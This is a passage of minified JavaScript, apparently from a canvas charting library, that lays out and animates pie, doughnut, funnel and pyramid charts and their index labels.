0;var h=0,q=0,q=h=h=0;0>b?n.indexLabelTextBlock.y-
n.indexLabelTextBlock.height/2>m&&n.indexLabelTextBlock.y-
n.indexLabelTextBlock.height/2+b<m&&(b=-(m-(n.indexLabelTextBlock.y-
n.indexLabelTextBlock.height/2+b))):n.indexLabelTextBlock.y+n.indexLabelTextBlock.h
eight/2<m&&n.indexLabelTextBlock.y+n.indexLabelTextBlock.height/2+b>l&&(b=n.indexLa
belTextBlock.y+n.indexLabelTextBlock.height/2+b-
l);b=n.indexLabelTextBlock.y+b;m=0;m="right"===n.hemisphere?
x.x+Math.sqrt(Math.pow(r,2)-Math.pow(b-x.y,2)):x.x-Math.sqrt(Math.pow(r,2)-
Math.pow(b-
x.y,2));q=x.x+A*Math.cos(n.midAngle);h=x.y+A*Math.sin(n.midAngle);h=Math.sqrt(Math.
pow(m-q,2)+Math.pow(b-h,2));q=Math.acos(A/r);h=Math.acos((r*r+A*A-h*h)/
(2*A*r));b=h<q?b-n.indexLabelTextBlock.y:0;m=null;for(l=1;l<s.length;l++)if(m=(a-
l+f.length)%f.length,f[m].hemisphere!==f[a].hemisphere){m=null;break}else
if(f[m].indexLabelText&&f[m].hemisphere===f[a].hemisphere&&m!==a&&(0>c(f[m],f[a])||
("right"===f[a].hemisphere?
f[m].indexLabelTextBlock.y<=f[a].indexLabelTextBlock.y:f[m].indexLabelTextBlock.y>=
f[a].indexLabelTextBlock.y)))break;else m=null;q=m;h=e(a);l=m=0;0>b?
(l="right"===n.hemisphere?q:h,k=b,null!==l&&(q=-b,b=n.indexLabelTextBlock.y-
n.indexLabelTextBlock.height/2-
(f[l].indexLabelTextBlock.y+f[l].indexLabelTextBlock.height/2),b-q<p&&(m=-
q,l=g(l,m,d+1),+l.toFixed(C)>+m.toFixed(C)&&(k=b>p?-(b-p):-(q-(l-
m)))))):0<b&&(l="right"===n.hemisphere?h:q,k=b,null!
==l&&(q=b,b=f[l].indexLabelTextBlock.y-f[l].indexLabelTextBlock.height/2-
(n.indexLabelTextBlock.y+n.indexLabelTextBlock.height/2),b-q<p&&(m=q,l=g(l,m,d+1),
+l.toFixed(C)<+m.toFixed(C)&&(k=b>p?b-p:q-(m-
l)))));k&&(d=n.indexLabelTextBlock.y+k,b=0,b="right"===n.hemisphere?
x.x+Math.sqrt(Math.pow(r,2)-Math.pow(d-x.y,2)):x.x-Math.sqrt(Math.pow(r,2)-
Math.pow(d-x.y,2)),n.midAngle>Math.PI/2-t&&n.midAngle<Math.PI/2+t?(m=(a-1+f.length)
%f.length,m=f[m],a=f[(a+1+f.length)
%f.length],"left"===n.hemisphere&&"right"===m.hemisphere&&b>m.indexLabelTextBlock.x
?b=m.indexLabelTextBlock.x-
15:"right"===n.hemisphere&&("left"===a.hemisphere&&b<a.indexLabelTextBlock.x)&&(b=a
.indexLabelTextBlock.x+15)):n.midAngle>3*Math.PI/2-
t&&n.midAngle<3*Math.PI/2+t&&(m=(a-1+f.length)%f.length,m=f[m],a=f[(a+1+f.length)
%f.length],"right"===n.hemisphere&&"left"===m.hemisphere&&b<m.indexLabelTextBlock.x
?
b=m.indexLabelTextBlock.x+15:"left"===n.hemisphere&&("right"===a.hemisphere&&b>a.in
dexLabelTextBlock.x)&&(b=a.indexLabelTextBlock.x-
15)),n.indexLabelTextBlock.y=d,n.indexLabelTextBlock.x=b,n.indexLabelAngle=Math.ata
n2(n.indexLabelTextBlock.y-x.y,n.indexLabelTextBlock.x-x.x))}return k}function k()
{var a=h.plotArea.ctx;a.fillStyle="grey";a.strokeStyle="grey";a.font="16px
Arial";a.textBaseline="middle";for(var b=a=0,d=0,k=!0,b=0;10>b&&(1>b||0<d);b++)
{if(m.radius||!m.radius&&"undefined"!==typeof
m.innerRadius&&null!==m.innerRadius&&A-d<=D)k=!1;k&&(A-=d);d=0;if("inside"!
==m.indexLabelPlacement){r=A*v;for(a=0;a<s.length;a++){var
l=f[a];l.indexLabelTextBlock.x=x.x+r*Math.cos(l.midAngle);l.indexLabelTextBlock.y=x
.y+r*Math.sin(l.midAngle);l.indexLabelAngle=l.midAngle;l.radius=A;l.percentInnerRad
ius=F}for(var t,u,a=0;a<s.length;a++){var l=f[a],y=e(a);if(null!==y)
{t=f[a];u=f[y];var z=0,z=c(t,u)-p;if(0>z){for(var E=u=0,H=0;H<s.length;H++)H!
==a&&f[H].hemisphere===l.hemisphere&&(f[H].indexLabelTextBlock.y<l.indexLabelTextBl
ock.y?u++:E++);u=z/(u+E||1)*E;var E=-1*(z-u),I=H=0;"right"===l.hemisphere?
(H=g(a,u),E=-1*(z-H),I=g(y,E),
+I.toFixed(C)<+E.toFixed(C)&&+H.toFixed(C)<=+u.toFixed(C)&&g(a,-(E-I))):
(H=g(y,u),E=-1*(z-H),I=g(a,E),
+I.toFixed(C)<+E.toFixed(C)&&+H.toFixed(C)<=+u.toFixed(C)&&g(y,-(E-I)))}}}}else
for(a=0;a<s.length;a++)l=f[a],r="pie"===m.type?
0.7*A:0.8*A,y=x.x+r*Math.cos(l.midAngle),u=x.y+r*Math.sin(l.midAngle),l.indexLabelT
extBlock.x=y,l.indexLabelTextBlock.y=u;for(a=0;a<s.length;a+
+)if(l=f[a],y=l.indexLabelTextBlock.measureText(),0!==y.height&&0!
==y.width)y=y=0,"right"===l.hemisphere?(y=n.x2-
(l.indexLabelTextBlock.x+l.indexLabelTextBlock.width+q),y*=-1):y=n.x1-
(l.indexLabelTextBlock.x-l.indexLabelTextBlock.width-q),0<y&&(!
k&&l.indexLabelText&&(u="right"===l.hemisphere?n.x2-
l.indexLabelTextBlock.x:l.indexLabelTextBlock.x-
n.x1,0.3*l.indexLabelTextBlock.maxWidth>u?
l.indexLabelText="":l.indexLabelTextBlock.maxWidth=0.85*u,0.3*l.indexLabelTextBlock
.maxWidth<u&&(l.indexLabelTextBlock.x-="right"===l.hemisphere?2:-
2)),Math.abs(l.indexLabelTextBlock.y-l.indexLabelTextBlock.height/2-x.y)<A||
Math.abs(l.indexLabelTextBlock.y+l.indexLabelTextBlock.height/2-
x.y)<A)&&(y/=Math.abs(Math.cos(l.indexLabelAngle)),9<y&&(y*=0.3),y>d&&(d=y)),y=y=0,
0<l.indexLabelAngle&&l.indexLabelAngle<Math.PI?(y=n.y2-
(l.indexLabelTextBlock.y+l.indexLabelTextBlock.height/2+5),y*=-1):y=n.y1-
(l.indexLabelTextBlock.y-l.indexLabelTextBlock.height/2-5),0<y&&(!
k&&l.indexLabelText&&(u=0<l.indexLabelAngle&&l.indexLabelAngle<Math.PI?-
1:1,0===g(a,y*u)&&g(a,2*u)),Math.abs(l.indexLabelTextBlock.x-
x.x)<A&&(y/=Math.abs(Math.sin(l.indexLabelAngle)),9<y&&(y*=0.3),y>d&&(d=y)));var
K=function(a,b,c){for(var e=[],d=0;e.push(f[b]),b!==c;b=(b+1+s.length)
%s.length);e.sort(function(a,b){return a.y-b.y});for(b=0;b<e.length;b+
+)if(c=e[b],d<0.7*a)d+=c.indexLabelTextBlock.height,c.indexLabelTextBlock.text="",c
.indexLabelText="",c.indexLabelTextBlock.measureText();else break};(function()
{for(var a=-1,b=-1,d=0,g=!1,l=0;l<s.length;l++)if(g=!1,t=f[l],t.indexLabelText){var
k=e(l);if(null!==k){var m=f[k];z=0;z=c(t,m);var n;if(n=0>z)
{n=t.indexLabelTextBlock.x;var h=t.indexLabelTextBlock.y-
t.indexLabelTextBlock.height/2,w=t.indexLabelTextBlock.y+t.indexLabelTextBlock.heig
ht/2,p=m.indexLabelTextBlock.y-
m.indexLabelTextBlock.height/2,u=m.indexLabelTextBlock.x+m.indexLabelTextBlock.widt
h,r=m.indexLabelTextBlock.y+m.indexLabelTextBlock.height/2;n=t.indexLabelTextBlock.
x+t.indexLabelTextBlock.width<m.indexLabelTextBlock.x-q||n>u+q||h>r+q||w<p-q?!1:!
0}n?(0>a&&(a=l),k!==a&&(b=k,d+=-z),0===l%Math.max(s.length/10,3)&&(g=!0)):g=!
0;g&&(0<d&&0<=a&&0<=b)&&(K(d,a,b),b=a=-1,d=0)}}0<d&&K(d,a,b)})()}}function l()
{h.plotArea.layoutManager.reset();h.title&&(h.title.dockInsidePlotArea||"center"===
h.title.horizontalAlign&&"center"===h.title.verticalAlign)&&h.title.render();if(h.s
ubtitles)for(var a=0;a<h.subtitles.length;a++){var b=h.subtitles[a];
(b.dockInsidePlotArea||"center"===b.horizontalAlign&&"center"===b.verticalAlign)&&b
.render()}h.legend&&(h.legend.dockInsidePlotArea||"center"===h.legend.horizontalAli
gn&&"center"===h.legend.verticalAlign)&&(h.legend.setLayout(),h.legend.render())}va
r h=this;if(!(0>=a.dataSeriesIndexes.length)){var
m=this.data[a.dataSeriesIndexes[0]],s=m.dataPoints,q=10,n=this.plotArea,f=m.dataPoi
ntEOs,p=2,r,v=1.3,t=20/180*Math.PI,C=6,x={x:(n.x2+n.x1)/2,y:(n.y2+n.y1)/2},z=0;a=!
1;for(var y=0;y<s.length;y++)z+=Math.abs(s[y].y),!a&&("undefined"!==typeof
s[y].indexLabel&&null!==s[y].indexLabel&&0<s[y].indexLabel.toString().length)&&(a=!
0),!a&&("undefined"!==typeof s[y].label&&null!
==s[y].label&&0<s[y].label.toString().length)&&(a=!0);if(0!==z){a=a||"undefined"!
==typeof m.indexLabel&&null!==m.indexLabel&&0<m.indexLabel.toString().length;var
A="inside"!==m.indexLabelPlacement&&a?
0.75*Math.min(n.width,n.height)/2:0.92*Math.min(n.width,n.height)/2;m.radius&&(A=I(
m.radius,A));var D="undefined"!==typeof m.innerRadius&&null!==m.innerRadius?
I(m.innerRadius,A):0.7*A;m.radius=A;"doughnut"===m.type&&(m.innerRadius=D);var
F=Math.min(D/A,(A-1)/A);this.pieDoughnutClickHandler=function(a){h.isAnimating||!
u(a.dataSeries.explodeOnClick)&&!a.dataSeries.explodeOnClick||
(a=a.dataPoint,a.exploded=a.exploded?!1:!
0,1<this.dataPoints.length&&h._animator.animate(0,500,function(a)
{b(a);l()}))};d();k();k();k();k();this.disableToolTip=!
0;this._animator.animate(0,this.animatedRender?this.animationDuration:0,function(a)
{var
b=h.plotArea.ctx;b.clearRect(n.x1,n.y1,n.width,n.height);b.fillStyle=h.backgroundCo
lor;b.fillRect(n.x1,n.y1,n.width,n.height);a=f[0].startAngle+2*Math.PI*a;for(b=0;b<
s.length;b++){var c=0===b?f[b].startAngle:e,e=c+(f[b].endAngle-f[b].startAngle),d=!
1;e>a&&(e=a,d=!0);var g=s[b].color?s[b].color:m._colorSet[b
%m._colorSet.length];e>c&&ja(h.plotArea.ctx,f[b].center,f[b].radius,g,m.type,c,e,m.
fillOpacity,f[b].percentInnerRadius);if(d)break}l()},function(){h.disableToolTip=!
1;h._animator.animate(0,h.animatedRender?500:0,function(a){b(a);l()})})}}};var
ra=function(a,d,b,c){"undefined"===typeof b&&(b=1);0>=Math.round(d.y4-d.y1)||
(a.save(),a.globalAlpha=b,a.beginPath(),a.moveTo(Math.round(d.x1),Math.round(d.y1))
,a.lineTo(Math.round(d.x2),Math.round(d.y2)),a.lineTo(Math.round(d.x3),Math.round(d
.y3)),a.lineTo(Math.round(d.x4),Math.round(d.y4)),"undefined"!
==d.x5&&(a.lineTo(Math.round(d.x5),Math.round(d.y5)),a.lineTo(Math.round(d.x6),Math
.round(d.y6))),a.closePath(),a.fillStyle=c?
c:d.color,a.fill(),a.globalAplha=1,a.restore())};p.prototype.renderFunnel=function(
a){function d(){for(var a=0,b=[],c=0;c<C.length;c++){if("undefined"===typeof
C[c].y)return-1;C[c].y="number"===typeof C[c].y?
C[c].y:0;a+=Math.abs(C[c].y)}if(0===a)return-1;for(c=b[0]=0;c<C.length;c+
+)b.push(Math.abs(C[c].y)*F/a);return b}function b(){var
a=$,b=V,c=K,e=ea,d,f;d=O;f=Z-N;e=Math.abs((f-d)*(b-a+(e-c))/2);c=ea-K;d=f-d;f=c*(f-
Z);f=Math.abs(f);f=e+f;for(var e=[],g=0,l=0;l<C.length;l++){if("undefined"===typeof
C[l].y)return-1;C[l].y="number"===typeof C[l].y?
C[l].y:0;g+=Math.abs(C[l].y)}if(0===g)return-1;for(var m=e[0]=0,k=0,n,h,b=b-a,m=!
1,l=0;l<C.length;l++)a=Math.abs(C[l].y)*f/g,m?n=0==Number(c.toFixed(3))?0:a/c:
(h=ba*ba*b*b-4*Math.abs(ba)*a,0>h?(h=c,m=(b+h)*(d-k)/2,a-=m,n=d-k,k+=d-k,n+=0==h?
0:a/h,k+=a/h,m=!0):(n=(Math.abs(ba)*b-Math.sqrt(h))/2,h=b-
2*n/Math.abs(ba),k+=n,k>d&&(k-=n,h=c,m=(b+h)*(d-k)/2,a-=m,n=d-k,k+=d-
k,n+=a/h,k+=a/h,m=!0),b=h)),e.push(n);return e}function c(){if(t&&C){for(var
a,b,c,e,d,g,l,k,m,n,h,q,s,w,p=[],B=[],x={percent:null,total:null},v=null,y=0;y<C.le
ngth;y++)w=P[y],w="undefined"!==typeof w.x5?(w.y2+w.y4)/2:
(w.y2+w.y3)/2,w=f(w).x2+1,p[y]=L-w-S;w=0.5*S;for(var y=0,A=C.length-1;y<C.length||
0<=A;y++,A--){b=t.reversed?C[A]:C[y];a=b.color?b.color:t.reversed?
t._colorSet[(C.length-1-y)%t._colorSet.length]:t._colorSet[y
%t._colorSet.length];c=b.indexLabelPlacement||
t.indexLabelPlacement||"outside";e=b.indexLabelBackgroundColor||
t.indexLabelBackgroundColor||(r?"transparent":null);d=b.indexLabelFontColor||
t.indexLabelFontColor||"#979797";g=u(b.indexLabelFontSize)?
t.indexLabelFontSize:b.indexLabelFontSize;l=b.indexLabelFontStyle||
t.indexLabelFontStyle||"normal";k=b.indexLabelFontFamily||
t.indexLabelFontFamily||"arial";m=b.indexLabelFontWeight||
t.indexLabelFontWeight||"normal";a=b.indexLabelLineColor||
t.options.indexLabelLineColor||a;n="number"===typeof b.indexLabelLineThickness?
b.indexLabelLineThickness:"number"===typeof t.indexLabelLineThickness?
t.indexLabelLineThickness:2;h=b.indexLabelLineDashType||
t.indexLabelLineDashType||"solid";q="undefined"!==typeof b.indexLabelWrap?
b.indexLabelWrap:"undefined"!==typeof t.indexLabelWrap?t.indexLabelWrap:!
0;s=t.dataPointIds[y];z._eventManager.objectMap[s]={id:s,objectType:"dataPoint",dat
aPointIndex:y,dataSeriesIndex:0,funnelSection:P[t.reversed?C.length-1-
y:y]};"inside"===t.indexLabelPlacement&&(p[y]=y!==fa?t.reversed?P[y].x2-
P[y].x1:P[y].x3-P[y].x4:P[y].x3-P[y].x6,20>p[y]&&(p[y]=y!==fa?t.reversed?P[y].x3-
P[y].x4:P[y].x2-P[y].x1:P[y].x2-P[y].x1,p[y]/=2));s=b.indexLabelMaxWidth?
b.indexLabelMaxWidth:t.options.indexLabelMaxWidth?
t.indexLabelMaxWidth:p[y];if(s>p[y]||
0>s)s=p[y];B[y]="inside"===t.indexLabelPlacement?P[y].height:!
1;x=z.getPercentAndTotal(t,b);if(t.indexLabelFormatter||
b.indexLabelFormatter)v={chart:z.options,dataSeries:t,dataPoint:b,total:x.total,per
cent:x.percent};b=b.indexLabelFormatter?b.indexLabelFormatter(v):b.indexLabel?
z.replaceKeywordsWithValue(b.indexLabel,b,t,y):t.indexLabelFormatter?
t.indexLabelFormatter(v):t.indexLabel?
z.replaceKeywordsWithValue(t.indexLabel,b,t,y):b.label?
b.label:"";0>=n&&(n=0);1E3>s&&1E3-s<w&&(s+=1E3-s);Q.roundRect||Ea(Q);c=new ka(Q,
{fontSize:g,fontFamily:k,fontColor:d,fontStyle:l,fontWeight:m,horizontalAlign:c,bac
kgroundColor:e,maxWidth:s,maxHeight:!1===B[y]?q?
4.28571429*g:1.5*g:B[y],text:b,padding:ga});c.measureText();J.push({textBlock:c,id:
t.reversed?A:y,isDirty:!
1,lineColor:a,lineThickness:n,lineDashType:h,height:c.height<c.maxHeight?
c.height:c.maxHeight,width:c.width<c.maxWidth?c.width:c.maxWidth})}}}function e()
{var a,b,c,e,d,f=[];d=!1;c=0;for(var g,l=L-V-S/2,l=t.options.indexLabelMaxWidth?
t.indexLabelMaxWidth>l?l:t.indexLabelMaxWidth:l,k=J.length-1;0<=k;k--)
{g=C[J[k].id];c=J[k];e=c.textBlock;b=(a=n(k)<P.length?J[n(k)]:null)?
a.textBlock:null;c=c.height;a&&e.y+c+ga>b.y&&(d=!0);c=g.indexLabelMaxWidth||
l;if(c>l||0>c)c=l;f.push(c)}if(d)for(k=J.length-
1;0<=k;k--)a=P[k],J[k].textBlock.maxWidth=f[f.length-
(k+1)],J[k].textBlock.measureText(),J[k].textBlock.x=L-
l,c=J[k].textBlock.height<J[k].textBlock.maxHeight?J[k].textBlock.height:J[k].tex
tBlock.maxHeight,d=J[k].textBlock.width<J[k].textBlock.maxWidth?
J[k].textBlock.width:J[k].textBlock.maxWidth,J[k].height=c,J[k].width=d,c="undefine
d"!==typeof a.x5?(a.y2+a.y4)/2:(a.y2+a.y3)/2,J[k].textBlock.y=c-
J[k].height/2,t.reversed?
(J[k].textBlock.y+J[k].height>pa+D&&(J[k].textBlock.y=pa+D-
J[k].height),J[k].textBlock.y<wa-D&&(J[k].textBlock.y=wa-D)):(J[k].textBlock.y<pa-
D&&(J[k].textBlock.y=pa-
D),J[k].textBlock.y+J[k].height>wa+D&&(J[k].textBlock.y=wa+D-J[k].height))}function
g(){var a,b,c,e;if("inside"!==t.indexLabelPlacement)for(var d=0;d<P.length;d+
+)0==J[d].textBlock.text.length?J[d].isDirty=!0:(a=P[d],c="undefined"!==typeof
a.x5?(a.y2+a.y4)/2:(a.y2+a.y3)/2,b=t.reversed?"undefined"!==typeof a.x5?c>Da?
f(c).x2+1:(a.x2+a.x3)/2+1:(a.x2+a.x3)/2+1:"undefined"!==typeof a.x5?c<Da?f(c).x2+1:
(a.x4+a.x3)/2+1:(a.x2+a.x3)/2+1,J[d].textBlock.x=b+S,J[d].textBlock.y=c-
J[d].height/2,t.reversed?
(J[d].textBlock.y+J[d].height>pa+D&&(J[d].textBlock.y=pa+D-
J[d].height),J[d].textBlock.y<wa-D&&(J[d].textBlock.y=wa-D)):(J[d].textBlock.y<pa-
D&&(J[d].textBlock.y=pa-
D),J[d].textBlock.y+J[d].height>wa+D&&(J[d].textBlock.y=wa+D-J[d].height)));else
for(d=0;d<P.length;d++)0==J[d].textBlock.text.length?J[d].isDirty=!0:
(a=P[d],b=a.height,c=J[d].height,e=J[d].width,b>=c?(b=d!=fa?(a.x4+a.x3)/2-e/2:
(a.x5+a.x4)/2-e/2,c=d!=fa?(a.y1+a.y3)/2-c/2:(a.y1+a.y4)/2-
c/2,J[d].textBlock.x=b,J[d].textBlock.y=c):J[d].isDirty=!0)}function k(){function
a(b,c){var d;if(0>b||b>=J.length)return 0;var e,f=J[b].textBlock;if(0>c){c*=-
1;e=q(b);d=l(e,b);if(d>=c)return f.y-=c,c;if(0==b)return 0<d&&(f.y-=d),d;d+=a(e,-
(c-d));0<d&&(f.y-=d);return d}e=n(b);d=l(b,e);if(d>=c)return
f.y+=c,c;if(b==P.length-1)return 0<d&&(f.y+=d),d;d+=a(e,c-d);0<d&&(f.y+=d);return
d}function b(){var a,d,e,f,g=0,k;f=(Z-O+2*D)/h;k=h;for(var l,m=1;m<k;m++)
{e=m*f;for(var s=J.length-1;0<=s;s--)!
J[s].isDirty&&(J[s].textBlock.y<e&&J[s].textBlock.y+J[s].height>e)&&(l=n(s),!
(l>=J.length-
1)&&J[s].textBlock.y+J[s].height+ga>J[l].textBlock.y&&(J[s].textBlock.y=J[s].textBl
ock.y+J[s].height-e>e-J[s].textBlock.y?e+1:e-J[s].height-1))}for(l=P.length-
1;0<l;l--)if(!J[l].isDirty)
{e=q(l);if(0>e&&(e=0,J[e].isDirty))break;if(J[l].textBlock.y<J[e].textBlock.y+J[e].
height){d=d||l;f=l;for(k=0;J[f].textBlock.y<J[e].textBlock.y+J[e].height+ga;){a=a||
J[f].textBlock.y+J[f].height;k+=J[f].height;k+=ga;f=e;if(0>=f)
{f=0;k+=J[f].height;break}e=q(f);if(0>e){f=0;k+=J[f].height;break}}if(f!=l)
{g=J[f].textBlock.y;a-=g;a=k-a;g=c(a,d,f);break}}}return g}function c(a,b,d){var
e=[],f=0,g=0;for(a=Math.abs(a);d<=b;d++)e.push(P[d]);e.sort(function(a,b){return
a.height-b.height});for(d=0;d<e.length;d++)if(b=e[d],f<a)g+
+,f+=J[b.id].height+ga,J[b.id].textBlock.text="",J[b.id].indexLabelText="",J[b.id].
isDirty=!0,J[b.id].textBlock.measureText();else break;return g}for(var
d,e,f,g,k,m,h=1,s=0;s<2*h;s++){for(var w=J.length-1;0<=w&&!
(0<=q(w)&&q(w),f=J[w],g=f.textBlock,m=(k=n(w)<P.length?J[n(w)]:null)?
k.textBlock:null,d=+f.height.toFixed(6),e=+g.y.toFixed(6),!
f.isDirty&&(k&&e+d+ga>+m.y.toFixed(6))&&(d=g.y+d+ga-m.y,e=a(w,-d),e<d&&(0<e&&(d-
=e),e=a(n(w),d),e!=d)));w--);b()}}function l(a,b){return(b<P.length?
J[b].textBlock.y:t.reversed?pa+D:wa+D)-(0>a?t.reversed?wa-D:pa-
D:J[a].textBlock.y+J[a].height+ga)}function h(a,b,c){var d,e,f,k=[],l=D,n=[];-1!
==b&&(0<=W.indexOf(b)?(e=W.indexOf(b),W.splice(e,1)):
(W.push(b),W=W.sort(function(a,b){return a-b})));if(0===W.length)k=ia;else{e=D*(1!
=W.length||0!=W[0]&&W[0]!=P.length-1?2:1)/m();for(var q=0;q<P.length;q++)
{if(1==W.length&&0==W[0]){if(0===q){k.push(ia[q]);d=l;continue}}else 0===q&&(d=-
1*l);k.push(ia[q]+d);if(0<=W.indexOf(q)||
q<P.length&&0<=W.indexOf(q+1))d+=e}}f=function(){for(var a=[],b=0;b<P.length;b+
+)a.push(k[b]-P[b].y1);return a}();var w={startTime:(new
Date).getTime(),duration:c||500,easingFunction:function(a,b,c,d){return
M.easing.easeOutQuart(a,b,c,d)},changeSection:function(a){for(var
b,c,d=0;d<P.length;d++)b=f[d],c=P[d],b*=a,"undefined"===typeof
n[d]&&(n[d]=0),0>n&&(n*=-1),c.y1+=b-n[d],c.y2+=b-n[d],c.y3+=b-n[d],c.y4+=b-
n[d],c.y5&&(c.y5+=b-n[d],c.y6+=b-n[d]),n[d]=b}};a._animator.animate(0,c,function(c)
{var d=a.plotArea.ctx||a.ctx;ja=!0;d.clearRect(x.x1,x.y1,x.x2-x.x1,x.y2-
x.y1);d.fillStyle=a.backgroundColor;d.fillRect(x.x1,x.y1,x.width,x.height);w.change
Section(c,b);var e={};e.dataSeries=t;e.dataPoint=t.reversed?t.dataPoints[C.length-
1-b]:t.dataPoints[b];e.index=t.reversed?C.length-1-
b:b;a.toolTip.highlightObjects([e]);for(e=0;e<P.length;e+
+)ra(d,P[e],t.fillOpacity);v(d);H&&("inside"!==t.indexLabelPlacement?
s(d):g(),p(d));1<=c&&(ja=!1)},null,M.easing.easeOutQuart)}function m(){for(var
a=0,b=0;b<P.length-1;b++)(0<=W.indexOf(b)||0<=W.indexOf(b+1))&&a++;return
a}function s(a){for(var b,c,d,e,g=0;g<P.length;g++)e=1===J[g].lineThickness%2?
0.5:0,c=((P[g].y2+P[g].y4)/2<<0)+e,b=f(c).x2-
1,d=J[g].textBlock.x,e=(J[g].textBlock.y+J[g].height/2<<0)+e,J[g].isDirty||
0==J[g].lineThickness||
(a.strokeStyle=J[g].lineColor,a.lineWidth=J[g].lineThickness,a.setLineDash&&a.setLi
neDash(R(J[g].lineDashType,J[g].lineThickness)),a.beginPath(),a.moveTo(b,c),a.lineT
o(d,e),a.stroke())}function q(a){for(a-=1;-1<=a&&-1!=a&&J[a].isDirty;a--);return
a}function n(a){for(a+=1;a<=P.length&&a!=P.length&&J[a].isDirty;a++);return
a}function f(a){for(var b,c=0;c<C.length;c++)if(P[c].y1<a&&P[c].y4>a)
{b=P[c];break}return b?(a=b.y6?a>b.y6?b.x3+(b.x4-b.x3)/(b.y4-b.y3)*(a-b.y3):b.x2+
(b.x3-b.x2)/(b.y3-b.y2)*(a-b.y2):b.x2+(b.x3-b.x2)/(b.y3-b.y2)*(a-b.y2),
{x1:a,x2:a}):-1}function p(a){for(var b=0;b<P.length;b++)J[b].isDirty||
(a&&(J[b].textBlock.ctx=a),J[b].textBlock.render(!0))}function v(a)
{z.plotArea.layoutManager.reset();a.roundRect||
Ea(a);z.title&&(z.title.dockInsidePlotArea||"center"===z.title.horizontalAlign&&"ce
nter"===z.title.verticalAlign)&&(z.title.ctx=a,z.title.render());if(z.subtitles)for
(var b=0;b<z.subtitles.length;b++){var
c=z.subtitles[b];if(c.dockInsidePlotArea||"center"===c.horizontalAlign&&"center"===
c.verticalAlign)z.subtitles.ctx=a,c.render()}z.legend&&(z.legend.dockInsidePlotArea
||"center"===z.legend.horizontalAlign&&"center"===z.legend.verticalAlign)&&(z.legen
d.ctx=a,z.legend.setLayout(),z.legend.render());U.fNg&&U.fNg(z)}var z=this;if(!
(0>=a.dataSeriesIndexes.length)){for(var
t=this.data[a.dataSeriesIndexes[0]],C=t.dataPoints,x=this.plotArea,D=0.025*x.width,
y=0.01*x.width,A=0,F=x.height-2*D,E=Math.min(x.width-2*y,2.8*x.height),H=!
1,I=0;I<C.length;I++)if(!H&&("undefined"!==typeof C[I].indexLabel&&null!
==C[I].indexLabel&&0<C[I].indexLabel.toString().length)&&(H=!0),!H&&("undefined"!
==typeof C[I].label&&null!==C[I].label&&0<C[I].label.toString().length)&&(H=!0),!
H&&"function"===typeof t.indexLabelFormatter||"function"===typeof
C[I].indexLabelFormatter)H=!0;H=H||"undefined"!==typeof t.indexLabel&&null!
==t.indexLabel&&0<t.indexLabel.toString().length;"inside"!
==t.indexLabelPlacement&&H||(y=(x.width-0.75*E)/2);var I=x.x1+y,L=x.x2-
y,O=x.y1+D,Z=x.y2-D,Q=a.targetCanvasCtx||this.plotArea.ctx||this.ctx;if(0!
=t.length&&(t.dataPoints&&t.visible)&&0!==C.length){var N,G;a=75*E/100;var S=30*(L-
a)/100;"funnel"===t.type?(N=u(t.options.neckHeight)?
0.35*F:t.neckHeight,G=u(t.options.neckWidth)?0.25*a:t.neckWidth,"string"===typeof
N&&N.match(/%$/)?(N=parseInt(N),N=N*F/100):N=parseInt(N),"string"===typeof
G&&G.match(/%$/)?(G=parseInt(G),G=G*a/100):G=parseInt(G),N>F?N=F:0>=N&&(N=0),G>a?
G=a-0.5:0>=G&&(G=0)):"pyramid"===t.type&&(G=N=0,t.reversed=t.reversed?!1:!0);var
y=I+a/2,$=I,V=I+a,pa=t.reversed?Z:O,K=y-G/2,ea=y+G/2,Da=t.reversed?O+N:Z-
N,wa=t.reversed?O:Z;a=[];var y=[],P=[],E=[],X=O,fa,ba=(Da-pa)/(K-$),ha=-
ba,I="area"===(t.valueRepresents?t.valueRepresents:"height")?b():d();if(-1!==I)
{if(t.reversed)for(E.push(X),G=I.length-1;0<G;G--)X+=I[G],E.push(X);else
for(G=0;G<I.length;G++)X+=I[G],E.push(X);if(t.reversed)for(G=0;G<I.length;G+
+)E[G]<Da?(a.push(K),y.push(ea),fa=G):(a.push((E[G]-pa+ba*$)/ba),y.push((E[G]-
pa+ha*V)/ha));else for(G=0;G<I.length;G++)E[G]<Da?(a.push((E[G]-
pa+ba*$)/ba),y.push((E[G]-pa+ha*V)/ha),fa=G):
(a.push(K),y.push(ea));for(G=0;G<I.length-1;G++)X=t.reversed?C[C.length-1-G].color?
C[C.length-1-G].color:t._colorSet[(C.length-1-G)%t._colorSet.length]:C[G].color?
C[G].color:t._colorSet[G%t._colorSet.length],G===fa?
P.push({x1:a[G],y1:E[G],x2:y[G],y2:E[G],x3:ea,y3:Da,x4:y[G+1],y4:E[G+1],x5:a[G+1],y
5:E[G+1],x6:K,y6:Da,id:G,height:E[G+1]-
E[G],color:X}):P.push({x1:a[G],y1:E[G],x2:y[G],y2:E[G],x3:y[G+1],y3:E[G+1],x4:a[G+1
],y4:E[G+1],id:G,height:E[G+1]-E[G],color:X});var ga=2,J=[],ja=!1,W=[],ia=[],I=!
1;a=a=0;Fa(W);for(G=0;G<C.length;G++)C[G].exploded&&(I=!0,t.reversed?
W.push(C.length-1-
G):W.push(G));Q.clearRect(x.x1,x.y1,x.width,x.height);Q.fillStyle=z.backgroundColor
;Q.fillRect(x.x1,x.y1,x.width,x.height);if(H&&t.visible&&(c(),g(),e(),"inside"!
==t.indexLabelPlacement)){k();for(G=0;G<C.length;G++)J[G].isDirty||
(a=J[G].textBlock.x+J[G].width,a=(L-
a)/2,0==G&&(A=a),A>a&&(A=a));for(G=0;G<P.length;G+
+)P[G].x1+=A,P[G].x2+=A,P[G].x3+=A,P[G].x4+=A,P[G].x5&&(P[G].x5+=A,P[G].x6+=A),J[G]
.textBlock.x+=A}for(G=0;G<P.length;G+
+)A=P[G],ra(Q,A,t.fillOpacity),ia.push(A.y1);v(Q);H&&t.visible&&("inside"===t.index
LabelPlacement||z.animationEnabled||s(Q),z.animationEnabled||p());if(!
H)for(G=0;G<C.length;G+
+)A=t.dataPointIds[G],a={id:A,objectType:"dataPoint",dataPointIndex:G,dataSeriesInd
ex:0,funnelSection:P[t.reversed?C.length-1-G:G]},z._eventManager.objectMap[A]=a;!
z.animationEnabled&&I?h(z,-1,0):z.animationEnabled&&!z.animatedRender&&h(z,-
1,0);this.funnelPyramidClickHandler=function(a){var b=-1;if(!ja&&!
z.isAnimating&&(u(a.dataSeries.explodeOnClick)||
a.dataSeries.explodeOnClick)&&(b=t.reversed?C.length-1-
a.dataPointIndex:a.dataPointIndex,0<=b))
{a=b;if("funnel"===t.type||"pyramid"===t.type)t.reversed?C[C.length-1-
